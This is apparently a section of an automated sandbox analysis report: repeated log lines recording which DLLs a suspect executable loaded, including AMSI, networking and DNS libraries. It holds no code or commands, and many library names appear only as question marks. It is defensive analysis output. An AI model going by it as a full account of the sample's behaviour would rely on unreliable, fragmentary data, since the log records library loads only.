Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: endpointdlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: eamsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: am.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???y.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ????.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???2.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ???.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??????s.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section loaded: ??.dll	Jump to behavior
